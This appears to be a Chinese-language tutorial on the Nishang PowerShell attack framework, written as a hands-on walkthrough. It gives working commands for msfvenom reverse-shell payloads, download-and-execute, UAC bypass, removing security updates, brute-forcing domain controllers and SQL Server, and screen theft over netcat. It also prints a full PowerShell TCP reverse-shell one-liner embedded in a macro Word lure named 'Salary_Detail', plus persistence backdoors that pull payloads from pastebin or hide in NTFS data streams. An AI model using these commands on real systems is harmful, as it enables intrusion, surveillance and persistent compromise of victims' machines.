1.下载执行
Download_Execute 是 Nishang 中的下载执行脚本,常用于下载文本文件,然后将其转换为可执行文件执行
get-help Download_Execute
get-help Download_Execute -full
利用 Nishang 中的 exetotext.ps1 脚本将 Metasploit 生成的木马端 msf.exe 更改为文本文件 msf.txt,然后通过 Download_Execute 脚本下载并执行该文本文件(文件放在目标机var下,注意攻击机需要先监听端口)
//(1)msf生成木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.110.130 LPORT=4444 -f exe > shell.exe
//(2)exe 转换为 txt
ExetoText e:\shell.exe e:\msf.txt //想要在C盘尝试结果失败,应该是有保护机制
//(3)下载脚本并执行文件
Download_Execute http://192.168.110.130/msf.txt
2.Bypass UAC
Invoke-PsUACme 模块使用了来自 UACME 项目的DLL来绕过UAC,作用是绕过UAC,比较全面
//(1)使用Sysprep方法执行默认的Payload
Invoke-PsUACme -Verbose
//(2)使用oobe方法执行默认的payload
Invoke-PsUACme -method oobe -Verbose
//(3)使用oobe方法执行自制payload (-payload:自行指定执行的 Payload)
Invoke-PsUACme -method oobe -Payload "powershell -windowstyle hidden -e YourEncodedPayload"
除此之外,还可以使用 -PayloadPath参数指定一个 Payload 路径,在默认情况下,Payload 会在 C:Windows\Temp\cmd.bat 结束。还可以使用 -CustomDll64(64位)或 -CustomDll32(32位)参数自定义一个DLL文件
3.删除补丁
帮助移除系统所有的更新或所有安全更新,以及指定编号的更新
//(1)移除目标机器上的所有更新
Remove-Update All
//(2)移除目标机器上的所有与安全相关更新
Remove-Update Security
//(3)移除指定编号的更新
Remove-Update XXXX
(systeminfo 查看补丁)
4.其它功能
(1)端口扫描(Invoke-PortScan)
Invoke-PortScan 是 Nishang 的端口扫描脚本,它用于发现主机、解析主机名、端口扫描,是实战中一个很实用的脚本
get-help Invoke-PortScan -full //查看帮助信息
StartAddress :扫描范围开始的地址
EndAddress :扫描范围结束的地址
ScanPort :进行端口扫描
Port :指定扫描端口
(默认扫描端口:21,22,23,53,69,71,80,98,110,139,111,389,443,445,1080,1433,2001,2049,
3001,3128,5222,6667,68 68,7777,7878,8080,1521,3306,3389,5801,5900,5555,5901)
TimeOut :设置超时时间
Invoke-PortScan -StartAddress 192.168.110.130 -EndAddress 192.168.110.150 -ResolveHost
(2)爆破破解(Invoke-BruteForce)
Invoke-BruteForce 是 Nishang 中专注于暴力破解的脚本,它用于对 SQL Server、域控制器、Web及FTP弱口令爆破
参数:
ComputerName :对应服务的计算机名
UserList :用户名字典
PasswordList :密码字典
Service服务(默认为SQL)
StopOnSuccess :匹配一个后停止
Delay :延迟时间
//(1)爆破域控制器
Invoke-BruteForce-ComputerName targetdomain.com -UserList C:testusers.txt PasswordList C:testwordlist.txt -Service ActiveDirectory -StopOnSuccess -Verbose
//(2)爆破SQL Server
Invoke-BruteForce-ComputerName SQLServ01 -UserList C:testusers.txt -PasswordList C:testwordlist.txt -Service SQL -Verbose
//(3)爆破server.txt中所有servers的SQL Server
cat C:testservers.txt | Invoke-BruteForce -UserList C:testusers.txt -PasswordList C:testwordlist.txt -Service SQL –Verbose
(3)嗅探
内网的嗅探使用方法比较简单,但是动静较大
netcat: TCP/IP
的瑞士军刀(简称 nc)
- -l: 开启监听
- -p:指定端口
- -t: 以telnet形式应答
- -e:程序重定向
- -n:以数字形式表示ip
- -v:显示执行命令过程
- -z : 不进行交互,直接显示结果
- -u :使用UDP协议传输
- -w : 设置超时时间
参数 -lnp:多个参数的叠加,分别代表着 -l,-n,-p(实现多种功能)
//(1)目标机执行以下命令
Invoke-Interceptor -ProxyServer 192.166.XXX.XXX -ProxyPort XXXX
//(2)攻击机监听 XXX 端口
netcat -lvvp XXX
(4)屏幕窃取
Show-TargetScreen 脚本使用 MJPEG 传输目标机远程桌面的实时画面,在本机可以使用NC或者powerCat 进行监听。在本地使用支持 MJPEG 的浏览器(如Firefox)访问本机对应监听端口,即可在浏览器上看到从远端传输回来的实时画面,正向反向均可
MJPEG(Motion Joint Photographic Experts Group)是一种视频压缩格式,称为:运动静止图像(或逐帧)压缩技术(把运动的视频序列作为连续的静止图像来处理)
//将远程的画面传送到 192.168.230.1 的443端口
Show-TargetScreen -Reverse -IPAddress 192.168.230.1 -Port 443
-IPAddress :IP地址(反向连接需要)
-Port :端口
-Reverse :反向连接
-Bind :正向连接
反向连接:
//(1)在目标机上输入以下命令可以反向连接窃取屏幕
Show-TargetScreen -Reverse -IPAddress 192.168.110.130 -Port 3333
//(2)攻击机输入以下命令,之后访问本机的 9999 端口,可以窃取到目标机屏幕(监听端口不能已经被占领)
netcat -nlvp 3333 | netcat -nlvp 9999
(出现错误只是因为当前的攻击机并没有开放这个3333端口,当攻击机监听这个3333端口时,便能成功)
注意:Show-TargetScreen 脚本使用 MJPEG 技术,动态序列转换为静态图片。因此只要监听一直持续,如果在目标机中操作(移动),那么屏幕画面也会随时窃取到,存取作为图片。(看到的画面其实是一张张图片连接起来的宛如视频)
正向连接:
//(1)目标机 :开放3333端口,作为server(通信)
Show-TargetScreen -Bind -Port 3333
//(2)攻击机 :主动连接目标机的 3333 端口 ; 监听 9999 端口接收来自 3333 端口的信息
netcat -nv 192.168.110.148 3333 | netcat -nlvp 9999
5.生成木马
Nishang 中还有各种木马,可以感染各种文件,如HTA、Word,用于执行 PowerShell 脚本,可以神不知鬼不觉地发动攻击,类型如下(client目录下)
(各个脚本使用方法基本相同)
-Payload 后面直接加payload,但是注意引号的闭合
-PayloadURL 传入远程的payload进行生成
-PayloadScript 指定本地的脚本进行生成
-Arguments 之后加要执行的函数。(payload之中有的函数)
-OutputFile 输出的文件名
-WordFileDir 输出的目录地址
-Recurse 在WordFileDir中递归寻找Word文件
-RemoveDocx 创建完成后删除掉原始的文件
实现:
(1)攻击机监听 4444 端口:nc -lvp 4444
(2)制作word文件,打开 nishang\Shells\Invoke-PowershellTcpOneLine.ps1 这个文件,寻找到参数 tcpclient 命令语句(ctrl + f ),可以看到有个远程连接地址
修改远程连接地址和端口,变成 攻击机的ip 和 监听的端口,改完以后复制该代码( 代码 $cleint 开始,$client.Close()结束 ),输入以下命令
Invoke-Encode -DataToEncode '复制的代码' -IsString -PostScript
//复制的代码
$client = New-Object System.Net.Sockets.TCPClient('192.168.110.130',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS' + (pwd).Path + '>';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
执行完成后会在当前目录下生成两个文件,一个是 encoded.txt,另一个是encodedcommand.txt
(注意:复制的代码中存在 ' ' ,输入命令时记得 复制的代码整个被包含使用:" "(系统运行识别问题))
Invoke-Encode -DataToEncode "$client = New-Object System.Net.Sockets.TCPClient('192.168.110.130',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS' + (pwd).Path + '>';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" -IsString -PostScript
接着执行以下命令会在当前文件夹下生成一个 Salary_Detail 的doc文件。目标用户打开 Word 以后,会反弹 Shell,在启用宏的计算机上没有任何提示,未启用宏的计算机会有启用宏的提示。获取反弹的 PowerShell 后可以很容易地升级到 Metasploit 的 Meterpreter
Out-Word -PayloadScript .\encodedcommand.txt
6.后门
(1)HTTP-Backdoor
HTTP-Backdoor 帮助在目标机器上下载和执行 powershell 脚本,接收来自第三方网站的指令,然后在内存中执行 PowerShell 脚本
HTTP-Backdoor -CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x -PayloadURL http://pastebin.com/raw.php?i=Zhyf8rwh -Arguments Get-Information -MagicString start123 -StopString stopthis
CheckURL :给出一个URL地址,如果存在,MagicString中的值就执行Payload来下载、运行我们的脚本
PayloadURL :给出需要下载的PowerShell脚本的地址
Arguments :指定要执行的函数
StopString :判断是否存在CheckURL返回的字符串,如果存在则停止执行
(2)Add-ScrnSaveBackdoor
利用 Windows 的屏保来留下一个隐藏的后门
//(1)使用这条语句可以执行自己生成的payload
Add-ScrnSaveBackdoor -Payload "powershell.exe -ExecutionPolicy Bypass -noprofile -noexit -c Get-Process"
//(2)利用这条命令可以在powershell中执行一个HTTP-Backdoor
Add-ScrnSaveBackdoor -PayloadURL http://192.168.254.1/Powerpreter.psm1 -Arguments HTTP-Backdoor "http://pastebin.com/raw.php?i=jqP2vJ3x http://pastebin.com/raw.php?i=Zhyf8rwh start123 stopthis
//(3)
Add-ScrnSaveBackdoor -PayloadURL http://192.168.254.1/code_exec.ps1
类似:msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.254.226 -f powershell
(使用 msfvenom 生成一个 Powershell,之后利用命令返回一个 meterpreter)
PayloadURL :指定需要下载的脚本地址
Arguments :指定要执行的函数以及相关参数
(3)Execute-OnTime
指定目标机上 powershell 脚本的执行时间,与 HTTP-Backdoor 使用方法相似,只不过多了定时功能
Execute-OnTime -PayloadURL http://pastebin.com/raw.php?i=Zhyf8rwh -Arguments Get-Information -Time hh:mm -CheckURL http://pastebin.com/raw.php?i=Zhyf8rwh -StopString stoppayload
PayloadURL :指定脚本下载的地址
Arguments :指定执行的函数名
Time :设定脚本执行的时间(例如-Time 23:21)
CheckURL :会检测一个指定的URL内容里是否存在StopString给出的字符串,如果发现了就停止执行
(4)Invoke-ADSBackdoor
使用 NTFS 数据流留下一个永久性后门。这种方式可以说是最恐怖的,因为这样留下的后门几乎是永久的,也不容易被发现
脚本向 ADS 中注入代码并且以普通用户的权限运行
Invoke-ADSBackdoor>Invoke-ADSBackdoor -PayloadURL http://192.168.1.138/payload.ps1
执行该脚本后,目标用户手动找根本不会找到任何东西,使用命令 dir /a /r 才能看到被写入的文件